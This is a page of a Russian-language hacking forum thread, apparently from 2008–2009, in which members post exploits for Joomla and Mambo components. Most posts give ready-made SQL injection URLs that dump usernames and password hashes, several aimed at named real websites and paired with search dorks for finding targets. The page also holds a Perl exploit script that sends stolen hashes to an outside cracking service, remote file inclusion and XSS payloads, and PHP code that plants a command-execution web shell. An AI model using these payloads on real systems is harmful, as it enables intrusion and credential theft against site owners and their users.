Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

Page 6 of 19
  1. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    com_clanwar Version: 1.2

    PHP:
        require ("../../configuration.php");
            $id = $_REQUEST['id'];
            MYSQL_CONNECT($mosConfig_host,$mosConfig_user,$mosConfig_password);
            mysql_select_db($mosConfig_db);
            $query = "select image_binary from jos_cwc_match_ss where id='$id'";
            $result = MYSQL_QUERY($query);
            $data = MYSQL_RESULT($result,0,"image_binary");
            Header( "Content-type: image/jpeg");
        echo     $data;
    magic_quotes_gpc off
    http://joomla.ru/components/com_clanwar/getimage.php?id=1'+union+select+database()/*
     
    #101 chekist, 13 Aug 2008
    2 people like this.
  2. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Flash Tree Gallery

    ==================================================================================================================


    [o] Flash Tree Gallery 1.0 Remote File Inclusion Vulnerability

    Software : com_treeg version 1.0
    Vendor : http://justjoomla.net/
    Author : NoGe
    Contact : noge[dot]code[at]gmail[dot]com


    ==================================================================================================================


    [o] Vulnerable file

    administrator/components/com_treeg/admin.treeg.php

    include( "$mosConfig_live_site/components/com_treeg/about.html" );



    [o] Exploit

    http://localhost/[path]/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=[evilcode]


    ==================================================================================================================


    [o] Greetz

    MainHack BrotherHood [ www.mainhack.com - http://serverisdown.org/blog/]
    VOP Crew [ Vrs-hCk OoN_BoY Paman ]
    H312Y yooogy mousekill }^-^{ kaka11 martfella
    skulmatic olibekas ulga Cungkee k1tk4t str0ke


    ==================================================================================================================

    # milw0rm.com [2008-11-01]
     
    #102 USAkid, 4 Nov 2008
    1 person likes this.
  3. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    Joomla com_contactinfo 1.0 (catid)SQL-injection Vulnerability
    ________________________
    http://www.milw0rm.com/exploits/7093
     
    #103 swt1, 11 Nov 2008
    Last edited: 11 Nov 2008
  4. FraiDex

    FraiDex Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    193
    Likes Received:
    68
    Reputations:
    -11
    Joomla Component Thyme 1.0 (event) SQL Injection Vulnerability

    Code:
    ###################################################################################################################
#Author: Ded MustD!e
###################################################################################################################
#Google Dork: com_thyme
###################################################################################################################
#Exploit: http://www.site.com/index.php?option=com_thyme&calendar=1&category=1&d=1&m=1&y=2008&Itemid=1&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/*
###################################################################################################################
#Example: http://www.orlandoprofessionals.org/index.php?option=com_thyme&calendar=1&category=0&d=25&m=10&y=2008&Itemid=67&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/*
###################################################################################################################

<creationDate>10/10/2005</creationDate>
<author>eXtrovert software</author>
<copyright>eXtrovert software</copyright>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.extrosoft.com</authorUrl>
<version>1.0</version>

# milw0rm.com [2008-11-21]
    (с)milworm.com
     
    #104 FraiDex, 21 Nov 2008
  5. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Joomla Component mydyngallery 1.4.2 (directory) SQL Injection Vuln
    PHP:
    Joomla Component mydyngallery                                                                                               AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                              
    Discovered by : Sina Yazdanmehr (R3d.W0rm)                                        
    Our Site : Http://IRCRASH.COM                                                      
    IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi      
                                                                              
    Download     : http://mydyngallery.mon-cottenchy.fr                                                                            
    DORK : inurl:option=com_mydyngallery                                        
                                               [Bug]                                       
    #http://Site/[joomla_path]/index.php?option=com_mydyngallery&directory=zzz'+union+select+0,1,2,concat(0x3C703E,username,0x7c,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*
    Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit

    PHP:
    #!/usr/bin/perl -w
    # -----------------------------------------------------------
    # Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit
    # by s3rg3770 with athos :)
    # demo http://www.disneyrama.com
    # -----------------------------------------------------------
    # Note: In lulz we trust :O
    # -----------------------------------------------------------

    use strict;
    use     LWP::UserAgent;
    use     LWP::Simple;


    my $host = shift;
    my $myid = shift or &help;

    my $path = "/index.php?option=com_jmovies&Itemid=29&task=detail&id=-1+".
                   "union+select+1,concat(0x215F,username,0x3a,password,0x215F)+".
                   "from+jos_users+where+id=${myid}--";

    my $http = new LWP::UserAgent(
                                       agent   => 'Mozilla/4.5 [en] (Win95; U)',
                                       timeout => '5',
                                 );  


    my $response = $http->get($host.$path); 

    if(    $response->content =~ /!_(.+?)!_/i)
    {
         print     STDOUT "Hash MD5: $1\n";
         print     STDOUT "Password: ".search_md5($1)."\n";
         exit;
    }
    else
    {
         print     STDOUT "Exploit Failed!\n";
         exit;
    }



    sub search_md5
    {
             my $hash = shift @_;
             my $cont = undef;

             $cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
            
         if(    length($hash) < 32 && !is_error($cont))
         {
              return     $cont;
         }
    }   


    sub help
    {
         print     STDOUT "Usage: perl $0 [host] [user ID]\n";
         print     STDOUT "by athos - staker[at]hotmail[dot]it\n";
         exit;
    }

    (c) milw0rm.com [2008-12-03 - 2008-12-04]
     
    #105 USAkid, 5 Dec 2008
  6. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Есть неплохой вариант сделать такое... В несколько шагов:

    Логинишься в админку --> ставишь компонент Joomla Explorer --> через него заливаешь шелл (в качестве альтернативы можно использовать просто просмотр configuration.php с логином и пассом от админа --> получаешь доступ к БД --> делаешь дамп... :)
     
    #106 USAkid, 5 Dec 2008
  7. foopi

    foopi Member

    Joined:
    26 Oct 2008
    Messages:
    41
    Likes Received:
    20
    Reputations:
    5
    SQL-Inj в com_fireboard:
    HTML:
    http://whiteguard-clan.ru/component/option,com_fireboard/func,fbprofile/task,showprf'[sql]/Itemid,5/userid,78/
    +xss:
    HTML:
    http://whiteguard-clan.ru/component/option,com_fireboard/func,fbprofile/task,showprf'%3Ch1%3Elol%3C/h1%3E/Itemid,5/userid,78/
     
    #107 foopi, 7 Dec 2008
    Last edited: 7 Dec 2008
    1 person likes this.
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ещё один способ заливки шелла через админку, если прав на запись в /modules/ нет. Необходимо: PHP <=5.2.6:

    Генерим архив (я использую либу из phpmyadmin):
    Code:
    <?php
include "Z:\home\localhost\www\Tools\phpmyadmin\libraries\zip.lib.php";
$zipfile = new zipfile();
$zipfile -> addFile("<? system($"."_GET['cmd']) ?>", "../../images/shell.php");
$fp = fopen("file.zip","wb");
fputs($fp,$zipfile -> file());
fclose($fp);
?>
    и заливаем его через модули. По адресу http://site/images/shell.php будет лежать ваш шелл.

    а можно заливать и не в images, а на хост к соседу, на том же сервере, если есть соотетствующие права. ;)
     
    #108 Qwazar, 9 Dec 2008
    Last edited: 9 Dec 2008
  9. ImpLex

    ImpLex Member

    Joined:
    12 Dec 2008
    Messages:
    23
    Likes Received:
    20
    Reputations:
    5
    Очередной дырявенький компонент.
    Скачать мона на Joomla.ru. Побольше бы таких
    wap4joomla <=1.5
    Пример бажного скрипта... Вообще там почти сплошняком бажные скрипты...
    PHP:
    <?php
    /*******************************************************************\
    *   File Name wap/onews/more.php                                    *
    *   Date 30-04-2006                                                 *
    *   For WAP4Joomla! WAP Site Builder                                *
    *   Writen By Tony Skilton [email protected]                 *
    *   Version 1.5                                                     *
    *   Copyright (C) 2006 Media Finder http://www.media-finder.co.uk   *
    *   Distributed under the terms of the GNU General Public License   *
    *   Please do not remove any of the information above               *
    \*******************************************************************/
    header("Content-Type: text/vnd.wap.wml");
    echo    "<?xml version=\"1.0\"?>"; ?> 
      <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
                "http://www.wapforum.org/DTD/wml_1.1.xml">
    <wml>
    <? include("../../config.php"); ?>


    <? 
    $id=$_GET["id"];
    DB_connect($dbn,$host,$user,$pass);
    $result = mysql_query("SELECT * FROM ".$dbpre."content WHERE id=$id");
    while ($row = mysql_fetch_object($result))    {


    $title = $row->title; 
    $done = $row->fulltext; 

    ?>
    <card id="news1" title="<? echo $title ?>">
    <do type="prev" label="Back"><prev/></do>
    <p>
    <?

    $done=eregi_replace("&nbsp;"," ",$done);
    $done=eregi_replace("&","&amp;",$done);
    $done=eregi_replace("<BR>"," <br />",$done);
    $done=eregi_replace("<br>","<br />",$done);
    $done=eregi_replace("</p>","<br />",$done);
    $done=eregi_replace("<strong>","<b>",$done);
    $done=eregi_replace("</strong>","</b>",$done);
    $done=eregi_replace("<B>","<b>",$done);
    $done=eregi_replace("</B>","</b>",$done);
    $done=eregi_replace("{mosimage}"," ",$done);
    $title=eregi_replace("&","&amp;",$title);
    $atags = "<b><br />";
    $done = strip_tags($done, $atags);
    $hmmm = "$done<br/>";

    if (strlen($done)>$trim){
    $wellover=substr($done,$trim+$over,1);
    while($wellover!="\n"){
    $wellover=substr($done,$trim+$over,1);
    $trim=$trim-1;
    };
    $trim++;
    if (isset($over)){
    if ($over>=$trim){
    $tmp=$over-$trim;
    ?>
     <a href="<? echo "more.php?id=$id&amp;over=$tmp"?>">Back...</a> 
    <?
    };

    }else{
    $over=0;
    };

    print substr($hmmm,$over,$trim);
    $over=$over+$trim;
    if (strlen($done)>$over){
    ?>
     <a href="<?print "more.php?id=$id&amp;over=$over"?>">...Read on</a> 
    <?
    };
    } else {
    print $hmmm;
    }; 
     }   
     ?> 
    </p></card> </wml>
    опасная строчка
    PHP:
    $id=$_GET["id"];
    DB_connect($dbn,$host,$user,$pass);
    $result = mysql_query("SELECT * FROM ".$dbpre."content WHERE id=$id"); 
    while (    $row = mysql_fetch_object($result))    {


    $title = $row->title; 
    $done = $row->fulltext; 
    exploit
    http://has-implex.narod.ru/wap4joomla.txt
    Code:
    http://site.ru/joomla/wap/onews/more.php?id=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users--
    (С)ImpLex
     
    #109 ImpLex, 13 Dec 2008
    Last edited: 13 Dec 2008
    1 person likes this.
  10. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    Уязвимости модулей и компоненотов Jooml'ы

    Joomla Component Bibliography Blind-SQL/pXSS

    Уязвимый продукт: Joomla Component Bibliography
    Версия: <= 1.3
    Дорк: "inurl:com_bibliography"

    1. Blind-SQL
    Уязвимость в файле bibliography.php.
    Уязвимый кусок кода:
    PHP:
    $count_query  = "SELECT id FROM ".$mosConfig_dbprefix."bibliography WHERE published = 1 AND catid=$catid";
    $count_result = $database->setquery($count_query);
    $count_result = $database->query();
    $count        = mysql_num_rows($count_result);
    $gesamtseiten = floor($count / $gl_perpage);
    Из кода видно, что параметр $catid не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию.
    Так же из кода видно, что полученное значение делится на число (количество страниц), а затем уже только выводится - это и есть причина слепоты в данной инъекции.

    Exploit:
    Code:
    true: /index.php?option=com_bibliography&func=display&letter=&Itemid=&catid=1+and+1=1/*
false: /index.php?option=com_bibliography&func=display&letter=&Itemid=&catid=1+and+1=2/*
    Example:
    Code:
    true: http://www.irtg.uni-kl.de/index.php?option=com_bibliography&func=display&letter=B&Itemid=53&catid=67+and+substring(version(),1,1)=4/*&page=1
false: http://www.irtg.uni-kl.de/index.php?option=com_bibliography&func=display&letter=B&Itemid=53&catid=67+and+substring(version(),1,1)=5/*&page=1
    2. Пассивная XSS

    Уязвимость в файле bibliography.php.
    Уязвимый кусок кода:

    PHP:
    else{
    if (    $letter=='All') echo "<font size='4'><strong>"._BIBLIOGRAPHY_ALL."</strong></font>";
    elseif (    $letter=='Other') echo "<font size='4'><strong>"._BIBLIOGRAPHY_OTHER."</strong></font>";
    elseif (    $letter=='[nothing]') echo "";
    else echo     "<font size='4'><strong>".$letter."</strong></font>";
    Из кода видно, что параметр $letter не фильтруется.

    Получаем пассивную XSS:

    Code:
    index.php?option=com_bibliography&func=display&Itemid=43&catid=25&[COLOR=DarkOrange]letter=<script>alert(/grey/);</script>[/COLOR]
    P.S. здесь был Грей)))
     
    #110 Ded MustD!e, 13 Dec 2008
    Last edited by a moderator: 14 Dec 2008
    4 people like this.
  11. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Joomla Component Userlist SQL-INJ

    Уязвимый продукт: Joomla Component Userlist
    Версия: 2.5 (в более ранних версиях не прокатывает - другой запрос)
    Дорк: "inurl:com_userlist"

    SQL-INJ

    Необходимое условие: magic_quotes_gpc = Off
    Уязвимость в файле userlist.php.
    Уязвимый кусок кода:

    PHP:
    if ($search != "") {
                $query .= " WHERE (u.name LIKE '%$search%' OR u.username LIKE '%$search%')";
    Параметр $search не фильтруется, но обрамляется в кавычки, значит без ковычек тут не обойтись.

    Эксплуатация:

    В поле поиска пользователя вбиваем следующее:
    Code:
    1' and 1=2) and 1=2 union select 1,2,3,4,5,6-- 1
    Получаем логин и пароль:
    Code:
    1' and 1=2) and 1=2 union select concat(username,char(58),password),2,3,4,5,6 from jos_users-- 1
    Уязвимости предыдущих версий:
    Code:
    Версия 2.0 SQL-INJ /index.php?option=com_userlist&limitstart=0,0+union+select+1,2,3,4--+1
     
    #111 Grey, 14 Dec 2008
    Last edited: 14 Dec 2008
    2 people like this.
  12. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    Joomla Component Productbook Blind-SQL

    Уязвимый продукт: Joomla Component Productbook
    Версия: 1.0.4
    Дорк: "inurl:com_productbook"

    Blind SQL-INJ

    Уязвимость в файле productbook.php.
    Уязвимый кусок кода:

    PHP:
    $database->setQuery("SELECT a.*, cc.name AS category "
                       . " \n FROM #__productbook AS a, #__productbook_catg AS cc "
                       . " \n WHERE a.catid=cc.cid AND a.id=$id "
                       . " \n AND cc.access<='$gid'");
    Exploit:
    Code:
     
true: /index.php?option=com_productbook&Itemid=97&func=detail&id=351+and+and+1=1
false: /index.php?option=com_productbook&Itemid=97&func=detail&id=351+and+and+1=2
    Example:
    Code:
     
true: http://www.jovani.com/index.php?option=com_productbook&func=detail&Itemid=7&id=10153+and+substring(version(),1,1)=5
false: http://www.jovani.com/index.php?option=com_productbook&func=detail&Itemid=7&id=10153+and+substring(version(),1,1)=4
     
    #112 Ded MustD!e, 14 Dec 2008
    Last edited: 14 Dec 2008
    2 people like this.
  13. foopi

    foopi Member

    Joined:
    26 Oct 2008
    Messages:
    41
    Likes Received:
    20
    Reputations:
    5
    XSS в модуле com_frontpage в параметре fontstyle.

    Код:
    Code:
    /index.php?option=com_frontpage&Itemid=1&fontstyle=%22%3E%3Cscript%3Ealert(/Xa-xa/)%3C/script%3E
    Примеры:
    Code:
    http://www.l2hell.ru/index.php?option=com_frontpage&Itemid=1&fontstyle=%22%3E%3Cscript%3Ealert(/Xa-xa/)%3C/script%3E
    Code:
    http://uasos.com/index.php?Itemid=1&limit=14&limitstart=10696&option=com_frontpage&fontstyle=%22%3E%3Cscript%3Ealert(/Xa-xa/)%3C/script%3E
     
    #113 foopi, 19 Dec 2008
  14. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    Уязвимый продукт: Joomla Component Extcalendar
    Дорк: "inurl:com_extcalendar"

    Code:
    http://[target]/[path]/components/com_extcalendar/cal_popup.php?extmode=view&extid=0'+union+select+1,1,concat(name,0x3a,username,0x3a,email,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+%23__users+where+gid=25+or+gid=24+limit+0,1/*
    Таже бага тока в новой упаковке :)


    Уязвимый продукт: Joomla Component JCalPro
    Дорк: "inurl:com_jcalpro"

    Code:
    http://[target]/[path]/components/com_jcalpro/cal_popup.php?extmode=view&extid=0'+union+select+1,1,concat(name,0x3a,username,0x3a,email,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+%23__users+where+gid=25+or+gid=24+limit+0,1/*
    PS юзаю почти 2 года
     
    #114 chekist, 22 Dec 2008
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    Joomla Component com_hbssearch(r_type) Blind SQL-injection

    Joomla Component com_hbssearch(r_type) Blind SQL-injection

    http://localhost/Path/index.php?option=com_hbssearch&task=showhoteldetails&id=1&r_type=[SQL-vulnerability]

    LiveDEMO:

    http://demo.joomlahbs.com/p1/index.php?option=com_hbssearch&task=showhoteldetails&id=4&r_type=1 and substring(@@version,1,1)=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54 -->FALSE

    http://demo.joomlahbs.com/p1/index.php?option=com_hbssearch&task=showhoteldetails&id=4&r_type=1 and substring(@@version,1,1)=5&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54 -->TRUE

    # milw0rm.com [2008-12-21]

    Joomla Component com_tophotelmodule(id) Blind SQL-injection

    Example:
    http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=[SQL-vulnerability]


    LiveDEMO:

    http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=4 -->FALSE

    http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=5 -->TRUE

    # milw0rm.com [2008-12-21]
     
    #115 Rubaka, 22 Dec 2008
    Last edited: 22 Dec 2008
  16. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    Joomla Component com_allhotels (id) Blind SQL Injection Vulnerability
    ____________
    http://www.milw0rm.com/exploits/7568

    :::::::

    Joomla Component com_lowcosthotels (id) Blind SQL Injection Vulnerability
    ____________
    http://www.milw0rm.com/exploits/7567
     
    #116 swt1, 24 Dec 2008
  17. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    Joomla Component Ice Gallery 0.5b2 (catid) Blind SQL Injection Vuln
    _________
    http://www.milw0rm.com/exploits/7572

    ::::

    Joomla Component Live Ticker 1.0 (tid) Blind SQL Injection Vuln
    _________
    http://www.milw0rm.com/exploits/7573

    :::::

    Joomla Component mdigg 2.2.8 (category) SQL Injection Vuln
    __________
    http://www.milw0rm.com/exploits/7574

    :::::

    Joomla Component 5starhotels (id) SQL Injection Exploit
    __________
    http://www.milw0rm.com/exploits/7575
     
    #117 swt1, 24 Dec 2008
    Last edited: 24 Dec 2008
  18. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    Joomla com_phocadocumentation (id) Remote SQL Injection Exploit
    __________
    http://www.milw0rm.com/exploits/7670

    :::::

    Joomla com_na_newsdescription (newsid) SQL Injection Exploit
    __________
    http://www.milw0rm.com/exploits/7669

    :::::
    __________
    Joomla Component simple_review 1.x SQL Injection Vulnerability

    :::::

    http://www.milw0rm.com/exploits/7667
     
    #118 swt1, 5 Jan 2009
    Last edited: 5 Jan 2009
  19. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    Компонент ReMOSitory 341RE (com_remository)
    XSS

    /index.php?option=com_remository&Itemid=1&func=select_XSS&

    Пример:

    http://studik.lviv.ua/index.php?option=com_remository&Itemid=44&func=select_<img src="" onerror=alert('xss') xxx&id=1&orderby=2&page=2
     
    #119 eLWAux, 10 Jan 2009
  20. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Двиг: Joomla
    Компонент: com_gigcal(gigcal_gigs_id)
    Уязвимость: SQL-injection

    Code:
    http://localhost/Path/index.php?option=com_gigcal&task=details&gigcal_gigs_id='+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*
     
    #120 z00MAN, 14 Jan 2009
(You must log in or sign up to post here.)
Page 6 of 19
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.